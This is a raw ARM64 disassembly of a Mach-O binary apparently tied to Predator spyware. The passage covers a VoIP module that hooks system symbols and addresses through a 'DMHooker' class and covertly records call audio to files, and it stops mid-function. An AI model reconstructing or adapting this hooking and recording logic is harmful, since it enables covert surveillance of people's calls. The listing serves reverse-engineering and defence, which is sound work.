File predator_85d8f504cadb55851a393a13a026f1833ed6db32cb07882415e029e709ae0750.macho
Function:
    10000ec30
    10000ec30fn_10000ec30:
    10000ec30ldr x8, [x0+8]
    10000ec34ldrb w8, [x8+24]
    10000ec38cbz w8, 0x10000ec44
    10000ec3cldr x8, [x1]
    10000ec40str xzr, [x8]
    10000ec44
    10000ec44loc_10000ec44:
    10000ec44movz w0, 2
    10000ec48ret x30
    10000ec30
    10000ec4c
    10000ec4cfn_10000ec4c:
    10000ec4cpacibsp
    10000ec50stp x20, x19, [sp-32]!
    10000ec54stp x29, x30, [sp+16]
    10000ec58add x29, sp, 16
    10000ec5cmov x19, x0
    10000ec60ldr x9, [x1+8]
    10000ec64adr x8, 0x33991
    10000ec68hint
    10000ec6csubs xzr, x9, x8
    10000ec70b.ne 0x10000ec84
    10000ec74
    10000ec74loc_10000ec74:
    10000ec74add x0, x19, 8
    10000ec78ldp x29, x30, [sp+16]
    10000ec7cldp x20, x19, [sp], 32
    10000ec80retab
    10000ec84
    10000ec84loc_10000ec84:
    10000ec84ands xzr, x9, x8
    10000ec88b.lt 0x10000ec9c
    10000ec8cmovz x0, 0
    10000ec90ldp x29, x30, [sp+16]
    10000ec94ldp x20, x19, [sp], 32
    10000ec98retab
    10000ec9c
    10000ec9cloc_10000ec9c:
    10000ec9cand x0, x9, 0x7fffffffffffffff
    10000eca0and x1, x8, 0x7fffffffffffffff
    10000eca4bl strcmp@plt
    10000eca8cbz w0, 0x10000ec74
    10000ecacmovz x0, 0
    10000ecb0ldp x29, x30, [sp+16]
    10000ecb4ldp x20, x19, [sp], 32
    10000ecb8retab
    10000ec4c
    10000ecbc
    10000ecbcfn_10000ecbc:
    10000ecbcadr x0, 0x36104
    10000ecc0hint
    10000ecc4ret x30
    10000ecbc
    10000ecc8
    10000ecc8fn_10000ecc8:
    10000ecc8pacibsp
    10000ecccstp x20, x19, [sp-32]!
    10000ecd0stp x29, x30, [sp+16]
    10000ecd4add x29, sp, 16
    10000ecd8bl __ZN17VersionDispatcher26OffsetsVersionByDeviceInitEv
    10000ecdcbl __ZN17VersionDispatcher14GetHostMachineEv
    10000ece0mov x1, x0
    10000ece4adr x0, 0x3245c
    10000ece8hint
    10000ececbl strcmp@plt
    10000ecf0movz w19, 17
    10000ecf4cbz w0, 0x10000ed18
    10000ecf8bl __ZN17VersionDispatcher14GetHostMachineEv
    10000ecfcmov x1, x0
    10000ed00adr x0, 0x3244b
    10000ed04hint
    10000ed08bl strcmp@plt
    10000ed0csubs wzr, w0, 0
    10000ed10movz w8, 25
    10000ed14csel w19, w19, w8, eq
    10000ed18
    10000ed18loc_10000ed18:
    10000ed18adrp x8, 0x3a000
    10000ed1cstr w19, [x8+3156]
    10000ed20ldp x29, x30, [sp+16]
    10000ed24ldp x20, x19, [sp], 32
    10000ed28retab
    10000ecc8
    10000ed2c
    10000ed2c-[CallHandler initWithVoip:]:
    10000ed2cpacibsp
    10000ed30sub sp, sp, 48
    10000ed34stp x20, x19, [sp+16]
    10000ed38stp x29, x30, [sp+32]
    10000ed3cadd x29, sp, 32
    10000ed40mov x20, x2
    10000ed44hint
    10000ed48ldr x8, 0x39878
    10000ed4cstp x0, x8, [sp]
    10000ed50hint
    10000ed54ldr x1, 0x397b4
    10000ed58add x0, sp, 0
    10000ed5cbl objc_msgSendSuper2@plt
    10000ed60mov x19, x0
    10000ed64cbz x0, 0x10000ed9c
    10000ed68str x20, [x19+8]
    10000ed6cadr x0, 0x32f5b
    10000ed70hint
    10000ed74movz x1, 0
    10000ed78bl dispatch_queue_create@plt
    10000ed7cstr x0, [x19+24]
    10000ed80hint
    10000ed84ldr x0, 0x39824
    10000ed88bl objc_alloc_init@plt
    10000ed8cstr x0, [x19+16]
    10000ed90ldr x3, [x19+24]
    10000ed94mov x2, x19
    10000ed98bl fn_10003e540
    10000ed9c
    10000ed9cloc_10000ed9c:
    10000ed9cmov x0, x19
    10000eda0ldp x29, x30, [sp+32]
    10000eda4ldp x20, x19, [sp+16]
    10000eda8add sp, sp, 48
    10000edacretab
    10000ed2c
    10000edb0
    10000edb0-[CallHandler callObserver:callChanged:]:
    10000edb0pacibsp
    10000edb4stp x20, x19, [sp-32]!
    10000edb8stp x29, x30, [sp+16]
    10000edbcadd x29, sp, 16
    10000edc0ldr x8, [x0+8]
    10000edc4ldrb w8, [x8+145]
    10000edc8cbz w8, 0x10000ee38
    10000edccmov x20, x3
    10000edd0mov x19, x0
    10000edd4mov x0, x3
    10000edd8bl fn_10003e420
    10000eddccbz w0, 0x10000ee00
    10000ede0ldr x0, [x19+8]
    10000ede4ldp x29, x30, [sp+16]
    10000ede8ldp x20, x19, [sp], 32
    10000edecautibsp
    10000edf0eor x16, x30, x30, lsl #1
    10000edf4tbz x16, 62, 0x10000edfc
    10000edf8brk 50289
    10000edfc
    10000edfcloc_10000edfc:
    10000edfcb 0x10000ee44
    10000ee00
    10000ee00loc_10000ee00:
    10000ee00mov x0, x20
    10000ee04bl fn_10003e400
    10000ee08tbnz w0, 0, 0x10000ee18
    10000ee0cmov x0, x20
    10000ee10bl fn_10003e480
    10000ee14cbz w0, 0x10000ee38
    10000ee18
    10000ee18loc_10000ee18:
    10000ee18ldr x0, [x19+8]
    10000ee1cldp x29, x30, [sp+16]
    10000ee20ldp x20, x19, [sp], 32
    10000ee24autibsp
    10000ee28eor x16, x30, x30, lsl #1
    10000ee2ctbz x16, 62, 0x10000ee34
    10000ee30brk 50289
    10000ee34
    10000ee34loc_10000ee34:
    10000ee34b 0x10000f0f0
    10000ee38
    10000ee38loc_10000ee38:
    10000ee38ldp x29, x30, [sp+16]
    10000ee3cldp x20, x19, [sp], 32
    10000ee40retab
    10000edb0
    10000ee44
    10000ee44__ZN6Helper4Voip10stopRecordEv:
    10000ee44pacibsp
    10000ee48sub sp, sp, 96
    10000ee4cstp x24, x23, [sp+32]
    10000ee50stp x22, x21, [sp+48]
    10000ee54stp x20, x19, [sp+64]
    10000ee58stp x29, x30, [sp+80]
    10000ee5cadd x29, sp, 80
    10000ee60mov x20, x0
    10000ee64add x19, x0, 56
    10000ee68mov x0, x19
    10000ee6cbl _ZNSt3__15mutex4lockEv@plt
    10000ee70strb wzr, [x20+144]
    10000ee74ldr x0, [x20+120]
    10000ee78cbz x0, 0x10000f090
    10000ee7cldr x1, [x20+240]
    10000ee80cbz x1, 0x10000ee98
    10000ee84ldr x8, [x20+248]
    10000ee88str x8, [sp]
    10000ee8cadd x2, sp, 0
    10000ee90movz w3, 8
    10000ee94bl __ZNK8DMHooker11writeLengthEyyy
    10000ee98
    10000ee98loc_10000ee98:
    10000ee98ldr x0, [x20+184]
    10000ee9ccbz x0, 0x10000f084
    10000eea0bl ExtAudioFileDispose@plt
    10000eea4add x21, x20, 192
    10000eea8ldrsb w8, [x20+215]
    10000eeactbnz w8, 31, 0x10000eec4
    10000eeb0ldr q0, [x21]
    10000eeb4str q0, [sp]
    10000eeb8ldr x8, [x21+16]
    10000eebcstr x8, [sp+16]
    10000eec0b 0x10000ef10
    10000eec4
    10000eec4loc_10000eec4:
    10000eec4ldp x22, x24, [x20+192]
    10000eec8subs xzr, x24, 22
    10000eeccb.hi 0x10000eedc
    10000eed0add x0, sp, 0
    10000eed4strb w24, [sp+23]
    10000eed8b 0x10000ef04
    10000eedc
    10000eedcloc_10000eedc:
    10000eedcorr x8, xzr, 0x7ffffffffffffff0
    10000eee0subs xzr, x24, x8
    10000eee4b.hs 0x10000f0b0
    10000eee8add x8, x24, 16
    10000eeecand x23, x8, -16
    10000eef0mov x0, x23
    10000eef4bl _Znwm@plt
    10000eef8orr x8, x23, 0x8000000000000000
    10000eefcstp x24, x8, [sp+8]
    10000ef00str x0, [sp]
    10000ef04
    10000ef04loc_10000ef04:
    10000ef04add x2, x24, 1
    10000ef08mov x1, x22
    10000ef0cbl memmove@plt
    10000ef10
    10000ef10loc_10000ef10:
    10000ef10ldrb w9, [sp+23]
    10000ef14sbfm w8, w9, 0, 7
    10000ef18ldp x10, x11, [sp]
    10000ef1csubs wzr, w8, 0
    10000ef20add x8, sp, 0
    10000ef24csel x8, x10, x8, lt
    10000ef28csel x10, x11, x9, lt
    10000ef2cadd x9, x8, x10
    10000ef30cbz x10, 0x10000f020
    10000ef34mov x11, x8
    10000ef38mov x10, x9
    10000ef3c
    10000ef3cloc_10000ef3c:
    10000ef3cadd x12, x11, 8
    10000ef40
    10000ef40loc_10000ef40:
    10000ef40ldurb w13, [x12-8]
    10000ef44sub x11, x12, 7
    10000ef48subs wzr, w13, 95
    10000ef4cb.eq 0x10000ef60
    10000ef50add x12, x12, 1
    10000ef54subs xzr, x11, x9
    10000ef58b.ne 0x10000ef40
    10000ef5cb 0x10000f024
    10000ef60
    10000ef60loc_10000ef60:
    10000ef60subs xzr, x11, x9
    10000ef64b.eq 0x10000f024
    10000ef68ldrb w13, [x11]
    10000ef6csubs wzr, w13, 80
    10000ef70b.ne 0x10000ef3c
    10000ef74sub x13, x12, 6
    10000ef78subs xzr, x13, x9
    10000ef7cb.eq 0x10000f024
    10000ef80ldrb w13, [x13]
    10000ef84subs wzr, w13, 65
    10000ef88b.ne 0x10000ef3c
    10000ef8csub x13, x12, 5
    10000ef90subs xzr, x13, x9
    10000ef94b.eq 0x10000f024
    10000ef98ldrb w13, [x13]
    10000ef9csubs wzr, w13, 82
    10000efa0b.ne 0x10000ef3c
    10000efa4sub x13, x12, 4
    10000efa8subs xzr, x13, x9
    10000efacb.eq 0x10000f024
    10000efb0ldrb w13, [x13]
    10000efb4subs wzr, w13, 84
    10000efb8b.ne 0x10000ef3c
    10000efbcsub x13, x12, 3
    10000efc0subs xzr, x13, x9
    10000efc4b.eq 0x10000f024
    10000efc8ldrb w13, [x13]
    10000efccsubs wzr, w13, 46
    10000efd0b.ne 0x10000ef3c
    10000efd4sub x13, x12, 2
    10000efd8subs xzr, x13, x9
    10000efdcb.eq 0x10000f024
    10000efe0ldrb w13, [x13]
    10000efe4subs wzr, w13, 109
    10000efe8b.ne 0x10000ef3c
    10000efecsub x13, x12, 1
    10000eff0subs xzr, x13, x9
    10000eff4b.eq 0x10000f024
    10000eff8ldrb w13, [x13]
    10000effcsubs wzr, w13, 52
    10000f000b.ne 0x10000ef3c
    10000f004subs xzr, x12, x9
    10000f008b.eq 0x10000f024
    10000f00csub x13, x12, 8
    10000f010ldrb w12, [x12]
    10000f014subs wzr, w12, 97
    10000f018csel x10, x13, x10, eq
    10000f01cb 0x10000ef3c
    10000f020
    10000f020loc_10000f020:
    10000f020mov x10, x9
    10000f024
    10000f024loc_10000f024:
    10000f024sub w8, w10, w8
    10000f028sbfm x8, x8, 0, 31
    10000f02csubs xzr, x10, x9
    10000f030csinv x1, x8, xzr, ne
    10000f034adr x3, 0x32ca1
    10000f038hint
    10000f03cadd x0, sp, 0
    10000f040movz w2, 9
    10000f044movz w4, 9
    10000f048bl _ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE7replaceEmmPKcm@plt
    10000f04cldrsb w8, [x21+23]
    10000f050tbz w8, 31, 0x10000f058
    10000f054ldr x21, [x21]
    10000f058
    10000f058loc_10000f058:
    10000f058ldrsb w8, [sp+23]
    10000f05cldr x9, [sp]
    10000f060subs wzr, w8, 0
    10000f064add x8, sp, 0
    10000f068csel x1, x9, x8, lt
    10000f06cmov x0, x21
    10000f070bl rename@plt
    10000f074ldrsb w8, [sp+23]
    10000f078tbz w8, 31, 0x10000f084
    10000f07cldr x0, [sp]
    10000f080bl _ZdlPv@plt
    10000f084
    10000f084loc_10000f084:
    10000f084str xzr, [x20+152]
    10000f088str wzr, [x20+228]
    10000f08cstr xzr, [x20+184]
    10000f090
    10000f090loc_10000f090:
    10000f090mov x0, x19
    10000f094bl _ZNSt3__15mutex6unlockEv@plt
    10000f098ldp x29, x30, [sp+80]
    10000f09cldp x20, x19, [sp+64]
    10000f0a0ldp x22, x21, [sp+48]
    10000f0a4ldp x24, x23, [sp+32]
    10000f0a8add sp, sp, 96
    10000f0acretab
    10000f0b0
    10000f0b0loc_10000f0b0:
    10000f0b0add x0, sp, 0
    10000f0b4bl fn_1000089dc
    10000f0b8brk 1
    10000f0bcb 0x10000f0dc
    10000f0c0mov x20, x0
    10000f0c4ldrsb w8, [sp+23]
    10000f0c8tbz w8, 31, 0x10000f0e0
    10000f0ccldr x0, [sp]
    10000f0d0bl _ZdlPv@plt
    10000f0d4b 0x10000f0e0
    10000f0d8b 0x10000f0dc
    10000f0dc
    10000f0dcloc_10000f0dc:
    10000f0dcmov x20, x0
    10000f0e0
    10000f0e0loc_10000f0e0:
    10000f0e0mov x0, x19
    10000f0e4bl _ZNSt3__15mutex6unlockEv@plt
    10000f0e8mov x0, x20
    10000f0ecbl _Unwind_Resume@plt
    10000ee44
    10000f0f0
    10000f0f0__ZN6Helper4Voip11startRecordEv:
    10000f0f0pacibsp
    10000f0f4sub sp, sp, 48
    10000f0f8stp x20, x19, [sp+16]
    10000f0fcstp x29, x30, [sp+32]
    10000f100add x29, sp, 32
    10000f104ldrb w8, [x0+144]
    10000f108cbz w8, 0x10000f11c
    10000f10cldp x29, x30, [sp+32]
    10000f110ldp x20, x19, [sp+16]
    10000f114add sp, sp, 48
    10000f118retab
    10000f11c
    10000f11cloc_10000f11c:
    10000f11cmov x20, x0
    10000f120add x19, x0, 56
    10000f124mov x0, x19
    10000f128bl _ZNSt3__15mutex4lockEv@plt
    10000f12cldr x8, [x20+120]
    10000f130cbz x8, 0x10000f17c
    10000f134add x0, x20, 216
    10000f138bl time@plt
    10000f13cstr xzr, [x20+152]
    10000f140str wzr, [x20+224]
    10000f144str wzr, [x20+232]
    10000f148str xzr, [x20+184]
    10000f14cldr x0, [x20+120]
    10000f150bl __ZN8DMHooker10flushCacheEv
    10000f154ldr x1, [x20+240]
    10000f158cbz x1, 0x10000f174
    10000f15corr w8, wzr, 0x11111111
    10000f160str x8, [sp+8]
    10000f164ldr x0, [x20+120]
    10000f168add x2, sp, 8
    10000f16cmovz w3, 8
    10000f170bl __ZNK8DMHooker11writeLengthEyyy
    10000f174
    10000f174loc_10000f174:
    10000f174movz w8, 1
    10000f178strb w8, [x20+144]
    10000f17c
    10000f17cloc_10000f17c:
    10000f17cmov x0, x19
    10000f180bl _ZNSt3__15mutex6unlockEv@plt
    10000f184ldp x29, x30, [sp+32]
    10000f188ldp x20, x19, [sp+16]
    10000f18cadd sp, sp, 48
    10000f190retab
    10000f194b 0x10000f198
    10000f198
    10000f198loc_10000f198:
    10000f198mov x20, x0
    10000f19cmov x0, x19
    10000f1a0bl _ZNSt3__15mutex6unlockEv@plt
    10000f1a4mov x0, x20
    10000f1a8bl _Unwind_Resume@plt
    10000f0f0
    10000f1ac
    10000f1ac__ZN6Helper4VoipD2Ev:
    10000f1acpacibsp
    10000f1b0stp x20, x19, [sp-32]!
    10000f1b4stp x29, x30, [sp+16]
    10000f1b8add x29, sp, 16
    10000f1bcmov x19, x0
    10000f1c0adr x16, 0x35c10
    10000f1c4hint
    10000f1c8add x16, x16, 16
    10000f1ccmov x17, x0
    10000f1d0movk x17, 0x6ae1000000000000
    10000f1d4pacda x16, x17
    10000f1d8str x16, [x0]
    10000f1dcldrb w8, [x0+145]
    10000f1e0cbz w8, 0x10000f234
    10000f1e4ldr x0, [x19+184]
    10000f1e8cbz x0, 0x10000f1f0
    10000f1ecbl ExtAudioFileDispose@plt
    10000f1f0
    10000f1f0loc_10000f1f0:
    10000f1f0ldr x0, [x19+120]
    10000f1f4cbz x0, 0x10000f224
    10000f1f8ldr x1, [x19+128]
    10000f1fcbl __ZN8DMHooker10removeHookEy
    10000f200ldr x0, [x19+120]
    10000f204ldr x1, [x19+136]
    10000f208bl __ZN8DMHooker10removeHookEy
    10000f20cldr x1, [x19+240]
    10000f210cbz x1, 0x10000f224
    10000f214ldr x0, [x19+120]
    10000f218add x2, x19, 248
    10000f21cmovz w3, 8
    10000f220bl __ZNK8DMHooker11writeLengthEyyy
    10000f224
    10000f224loc_10000f224:
    10000f224strb wzr, [x19+145]
    10000f228str xzr, [x19+120]
    10000f22cstr xzr, [x19+184]
    10000f230str xzr, [x19+240]
    10000f234
    10000f234loc_10000f234:
    10000f234ldr x8, [x19+24]
    10000f238bl objc_release_x8@plt
    10000f23cldrsb w8, [x19+215]
    10000f240tbnz w8, 31, 0x10000f264
    10000f244add x0, x19, 56
    10000f248bl _ZNSt3__15mutexD1Ev@plt
    10000f24cldrsb w8, [x19+55]
    10000f250tbnz w8, 31, 0x10000f27c
    10000f254
    10000f254loc_10000f254:
    10000f254mov x0, x19
    10000f258ldp x29, x30, [sp+16]
    10000f25cldp x20, x19, [sp], 32
    10000f260retab
    10000f264
    10000f264loc_10000f264:
    10000f264ldr x0, [x19+192]
    10000f268bl _ZdlPv@plt
    10000f26cadd x0, x19, 56
    10000f270bl _ZNSt3__15mutexD1Ev@plt
    10000f274ldrsb w8, [x19+55]
    10000f278tbz w8, 31, 0x10000f254
    10000f27c
    10000f27cloc_10000f27c:
    10000f27cldr x0, [x19+32]
    10000f280bl _ZdlPv@plt
    10000f284mov x0, x19
    10000f288ldp x29, x30, [sp+16]
    10000f28cldp x20, x19, [sp], 32
    10000f290retab
    10000f294bl fn_100005128
    10000f1ac
    10000f298
    10000f298__ZN6Helper4Voip4stopEv:
    10000f298pacibsp
    10000f29cstp x20, x19, [sp-32]!
    10000f2a0stp x29, x30, [sp+16]
    10000f2a4add x29, sp, 16
    10000f2a8ldrb w8, [x0+145]
    10000f2accbz w8, 0x10000f304
    10000f2b0mov x19, x0
    10000f2b4ldr x0, [x0+184]
    10000f2b8cbz x0, 0x10000f2c0
    10000f2bcbl ExtAudioFileDispose@plt
    10000f2c0
    10000f2c0loc_10000f2c0:
    10000f2c0ldr x0, [x19+120]
    10000f2c4cbz x0, 0x10000f2f4
    10000f2c8ldr x1, [x19+128]
    10000f2ccbl __ZN8DMHooker10removeHookEy
    10000f2d0ldr x0, [x19+120]
    10000f2d4ldr x1, [x19+136]
    10000f2d8bl __ZN8DMHooker10removeHookEy
    10000f2dcldr x1, [x19+240]
    10000f2e0cbz x1, 0x10000f2f4
    10000f2e4ldr x0, [x19+120]
    10000f2e8add x2, x19, 248
    10000f2ecmovz w3, 8
    10000f2f0bl __ZNK8DMHooker11writeLengthEyyy
    10000f2f4
    10000f2f4loc_10000f2f4:
    10000f2f4strb wzr, [x19+145]
    10000f2f8str xzr, [x19+120]
    10000f2fcstr xzr, [x19+184]
    10000f300str xzr, [x19+240]
    10000f304
    10000f304loc_10000f304:
    10000f304movz w0, 1
    10000f308ldp x29, x30, [sp+16]
    10000f30cldp x20, x19, [sp], 32
    10000f310retab
    10000f298
    10000f314
    10000f314__ZN6Helper4VoipD1Ev:
    10000f314b 0x10000f1ac
    10000f314
    10000f318
    10000f318__ZN6Helper4VoipD0Ev:
    10000f318pacibsp
    10000f31cstp x29, x30, [sp-16]!
    10000f320add x29, sp, 0
    10000f324bl __ZN6Helper4VoipD2Ev
    10000f328ldp x29, x30, [sp], 16
    10000f32cautibsp
    10000f330eor x16, x30, x30, lsl #1
    10000f334tbz x16, 62, 0x10000f33c
    10000f338brk 50289
    10000f33c
    10000f33cloc_10000f33c:
    10000f33cb 0x10003d990
    10000f318
    10000f340
    10000f340__ZN6Helper4Voip4initEP8NSStringPPc:
    10000f340pacibsp
    10000f344stp x20, x19, [sp-32]!
    10000f348stp x29, x30, [sp+16]
    10000f34cadd x29, sp, 16
    10000f350mov x19, x0
    10000f354hint
    10000f358ldr x0, 0x39258
    10000f35cbl objc_alloc@plt
    10000f360mov x2, x19
    10000f364bl fn_10003e440
    10000f368str x0, [x19+24]
    10000f36cmovz w0, 1
    10000f370ldp x29, x30, [sp+16]
    10000f374ldp x20, x19, [sp], 32
    10000f378retab
    10000f340
    10000f37c
    10000f37c__ZN6Helper4Voip7executeEP8NSStringPPc:
    10000f37cpacibsp
    10000f380stp x20, x19, [sp-32]!
    10000f384stp x29, x30, [sp+16]
    10000f388add x29, sp, 16
    10000f38ccbz x1, 0x10000f3c4
    10000f390mov x20, x1
    10000f394mov x19, x0
    10000f398adr x2, 0x36070
    10000f39chint
    10000f3a0mov x0, x1
    10000f3a4bl fn_10003e460
    10000f3a8cbz w0, 0x10000f3d4
    10000f3acldrb w8, [x19+145]
    10000f3b0movz w0, 1
    10000f3b4cbz w8, 0x10000f450
    10000f3b8
    10000f3b8loc_10000f3b8:
    10000f3b8ldp x29, x30, [sp+16]
    10000f3bcldp x20, x19, [sp], 32
    10000f3c0retab
    10000f3c4
    10000f3c4loc_10000f3c4:
    10000f3c4movz w0, 0
    10000f3c8ldp x29, x30, [sp+16]
    10000f3ccldp x20, x19, [sp], 32
    10000f3d0retab
    10000f3d4
    10000f3d4loc_10000f3d4:
    10000f3d4adr x2, 0x36054
    10000f3d8hint
    10000f3dcmov x0, x20
    10000f3e0bl fn_10003e460
    10000f3e4cbz w0, 0x10000f3b8
    10000f3e8ldrb w8, [x19+145]
    10000f3eccbz w8, 0x10000f468
    10000f3f0ldr x0, [x19+184]
    10000f3f4cbz x0, 0x10000f3fc
    10000f3f8bl ExtAudioFileDispose@plt
    10000f3fc
    10000f3fcloc_10000f3fc:
    10000f3fcldr x0, [x19+120]
    10000f400cbz x0, 0x10000f430
    10000f404ldr x1, [x19+128]
    10000f408bl __ZN8DMHooker10removeHookEy
    10000f40cldr x0, [x19+120]
    10000f410ldr x1, [x19+136]
    10000f414bl __ZN8DMHooker10removeHookEy
    10000f418ldr x1, [x19+240]
    10000f41ccbz x1, 0x10000f430
    10000f420ldr x0, [x19+120]
    10000f424add x2, x19, 248
    10000f428movz w3, 8
    10000f42cbl __ZNK8DMHooker11writeLengthEyyy
    10000f430
    10000f430loc_10000f430:
    10000f430strb wzr, [x19+145]
    10000f434str xzr, [x19+120]
    10000f438str xzr, [x19+184]
    10000f43cmovz w0, 1
    10000f440str xzr, [x19+240]
    10000f444ldp x29, x30, [sp+16]
    10000f448ldp x20, x19, [sp], 32
    10000f44cretab
    10000f450
    10000f450loc_10000f450:
    10000f450strb w0, [x19+145]
    10000f454mov x0, x19
    10000f458bl __ZN6Helper4Voip10setupHooksEv
    10000f45cldp x29, x30, [sp+16]
    10000f460ldp x20, x19, [sp], 32
    10000f464retab
    10000f468
    10000f468loc_10000f468:
    10000f468movz w0, 1
    10000f46cldp x29, x30, [sp+16]
    10000f470ldp x20, x19, [sp], 32
    10000f474retab
    10000f37c
    10000f478
    10000f478__ZN6Helper4Voip5startEv:
    10000f478ldrb w8, [x0+145]
    10000f47ccbz w8, 0x10000f488
    10000f480movz w0, 1
    10000f484ret x30
    10000f488
    10000f488loc_10000f488:
    10000f488movz w8, 1
    10000f48cstrb w8, [x0+145]
    10000f490b 0x10000f494
    10000f478
    10000f494
    10000f494__ZN6Helper4Voip10setupHooksEv:
    10000f494pacibsp
    10000f498sub sp, sp, 80
    10000f49cstp x22, x21, [sp+32]
    10000f4a0stp x20, x19, [sp+48]
    10000f4a4stp x29, x30, [sp+64]
    10000f4a8add x29, sp, 64
    10000f4acldr x8, [x0+120]
    10000f4b0cbz x8, 0x10000f4cc
    10000f4b4movz w0, 0
    10000f4b8
    10000f4b8loc_10000f4b8:
    10000f4b8ldp x29, x30, [sp+64]
    10000f4bcldp x20, x19, [sp+48]
    10000f4c0ldp x22, x21, [sp+32]
    10000f4c4add sp, sp, 80
    10000f4c8retab
    10000f4cc
    10000f4ccloc_10000f4cc:
    10000f4ccmov x20, x0
    10000f4d0ldr x0, [x0+16]
    10000f4d4adr x1, 0x3280b
    10000f4d8hint
    10000f4dcbl __ZN6Helper13HookerFactory9getHookerEPKc
    10000f4e0str x0, [x20+120]
    10000f4e4cbz x0, 0x10000f4b8
    10000f4e8adr x0, 0x32804
    10000f4echint
    10000f4f0movz w1, 1
    10000f4f4bl dlopen@plt
    10000f4f8mov x19, x0
    10000f4fcldr x0, [x20+120]
    10000f500add x21, sp, 0
    10000f504adr x16, 0x35914
    10000f508hint
    10000f50cadd x16, x16, 16
    10000f510mov x17, x21
    10000f514movk x17, 0x530f000000000000
    10000f518pacda x16, x17
    10000f51cstp x16, x20, [sp]
    10000f520str x21, [sp+24]
    10000f524adr x1, 0x32816
    10000f528hint
    10000f52cadd x2, sp, 0
    10000f530movz w3, 1
    10000f534bl __ZN8DMHooker10hookSymbolEPKcONSt3__18functionIFNS_10HookReturnEP27__darwin_arm_thread_state64EEEb
    10000f538str x0, [x20+128]
    10000f53cldr x0, [sp+24]
    10000f540subs xzr, x21, x0
    10000f544b.eq 0x10000f574
    10000f548cbz x0, 0x10000f598
    10000f54cldr x16, [x0]
    10000f550mov x17, x0
    10000f554movk x17, 0x530f000000000000
    10000f558autda x16, x17
    10000f55cldr x8, [x16+40]!
    10000f560mov x9, x16
    10000f564mov x17, x9
    10000f568movk x17, 0x595d000000000000
    10000f56cblraa x8, x17
    10000f570b 0x10000f598
    10000f574
    10000f574loc_10000f574:
    10000f574ldr x16, [x0]
    10000f578mov x17, x0
    10000f57cmovk x17, 0x530f000000000000
    10000f580autda x16, x17
    10000f584ldr x8, [x16+32]!
    10000f588mov x9, x16
    10000f58cmov x17, x9
    10000f590movk x17, 0x5a7d000000000000
    10000f594blraa x8, x17
    10000f598
    10000f598loc_10000f598:
    10000f598adr x1, 0x327b4
    10000f59chint
    10000f5a0movn x0, 1
    10000f5a4bl dlsym@plt
    10000f5a8xpaci x0
    10000f5acadd x1, x0, 52
    10000f5b0ldr x0, [x20+120]
    10000f5b4add x21, sp, 0
    10000f5b8adr x16, 0x358e0
    10000f5bchint
    10000f5c0add x16, x16, 16
    10000f5c4mov x17, x21
    10000f5c8movk x17, 0x530f000000000000
    10000f5ccpacda x16, x17
    10000f5d0stp x16, x20, [sp]
    10000f5d4str x21, [sp+24]
    10000f5d8add x2, sp, 0
    10000f5dcmovz w3, 1
    10000f5e0bl __ZN8DMHooker11hookAddressEyONSt3__18functionIFNS_10HookReturnEP27__darwin_arm_thread_state64EEEb
    10000f5e4str x0, [x20+136]
    10000f5e8ldr x0, [sp+24]
    10000f5ecsubs xzr, x21, x0
    10000f5f0b.eq 0x10000f620
    10000f5f4cbz x0, 0x10000f644
    10000f5f8ldr x16, [x0]
    10000f5fcmov x17, x0
    10000f600movk x17, 0x530f000000000000
    10000f604autda x16, x17
    10000f608ldr x8, [x16+40]!
    10000f60cmov x9, x16
    10000f610mov x17, x9
    10000f614movk x17, 0x595d000000000000
    10000f618blraa x8, x17
    10000f61cb 0x10000f644
    10000f620
    10000f620loc_10000f620:
    10000f620ldr x16, [x0]
    10000f624mov x17, x0
    10000f628movk x17, 0x530f000000000000
    10000f62cautda x16, x17
    10000f630ldr x8, [x16+32]!
    10000f634mov x9, x16
    10000f638mov x17, x9
    10000f63cmovk x17, 0x5a7d000000000000
    10000f640blraa x8, x17
    10000f644
    10000f644loc_10000f644:
    10000f644ldr x0, [x20+120]
    10000f648add x21, sp, 0
    10000f64cadr x16, 0x358cc
    10000f650hint
    10000f654add x16, x16, 16
    10000f658mov x17, x21
    10000f65cmovk x17, 0x530f000000000000
    10000f660pacda x16, x17
    10000f664stp x16, x20, [sp]
    10000f668str x21, [sp+24]
    10000f66cadd x1, sp, 0
    10000f670bl __ZN8DMHooker11onBadAccessEONSt3__18functionIFNS_10HookReturnEP27__darwin_arm_thread_state64EEE
    10000f674ldr x0, [sp+24]
    10000f678subs xzr, x21, x0
    10000f67cb.eq 0x10000f6ac
    10000f680cbz x0, 0x10000f6d0
    10000f684ldr x16, [x0]
    10000f688mov x17, x0
    10000f68cmovk x17, 0x530f000000000000
    10000f690autda x16, x17
    10000f694ldr x8, [x16+40]!
    10000f698mov x9, x16
    10000f69cmov x17, x9
    10000f6a0movk x17, 0x595d000000000000
    10000f6a4blraa x8, x17
    10000f6a8b 0x10000f6d0
    10000f6ac
    10000f6acloc_10000f6ac:
    10000f6acldr x16, [x0]
    10000f6b0mov x17, x0
    10000f6b4movk x17, 0x530f000000000000
    10000f6b8autda x16, x17
    10000f6bcldr x8, [x16+32]!
    10000f6c0mov x9, x16
    10000f6c4mov x17, x9
    10000f6c8movk x17, 0x5a7d000000000000
    10000f6ccblraa x8, x17
    10000f6d0
    10000f6d0loc_10000f6d0:
    10000f6d0mov x0, x19
    10000f6d4bl dlclose@plt
    10000f6d8movz w0, 1
    10000f6dcldp x29, x30, [sp+64]
    10000f6e0ldp x20, x19, [sp+48]
    10000f6e4ldp x22, x21, [sp+32]
    10000f6e8add sp, sp, 80
    10000f6ecretab
    10000f6f0b 0x10000f6f8
    10000f6f4b 0x10000f6f8
    10000f6f8
    10000f6f8loc_10000f6f8:
    10000f6f8mov x19, x0
    10000f6fcadd x0, sp, 0
    10000f700bl fn_10000eb24
    10000f704mov x0, x19
    10000f708bl _Unwind_Resume@plt
    10000f494
    10000f70c
    10000f70c__ZN6Helper4Voip13pcmFloatToIntEPvPKvm:
    10000f70csubs xzr, x2, 4
    10000f710b.lo 0x10000f784
    10000f714ubfm x9, x2, 2, 63
    10000f718subs xzr, x2, 16
    10000f71cb.hs 0x10000f728
    10000f720movz x8, 0
    10000f724b 0x10000f788
    10000f728
    10000f728loc_10000f728:
    10000f728and x8, x9, 0x3ffffffffffffffc
    10000f72cmovi v0.4s, 0x47000000
    10000f730movz w10, 65024
    10000f734movk w10, 0x46ff0000
    10000f738dup v1.4s, w10
    10000f73cmovi v2.4s, 0xc7000000
    10000f740mov x10, x8
    10000f744mov x11, x0
    10000f748mov x12, x1
    10000f74c
    10000f74cloc_10000f74c:
    10000f74cldr q3, [x12], 16
    10000f750fmul v3.4s, v3.4s, v0.4s
    10000f754fcmgt v4.4s, v3.4s, v1.4s
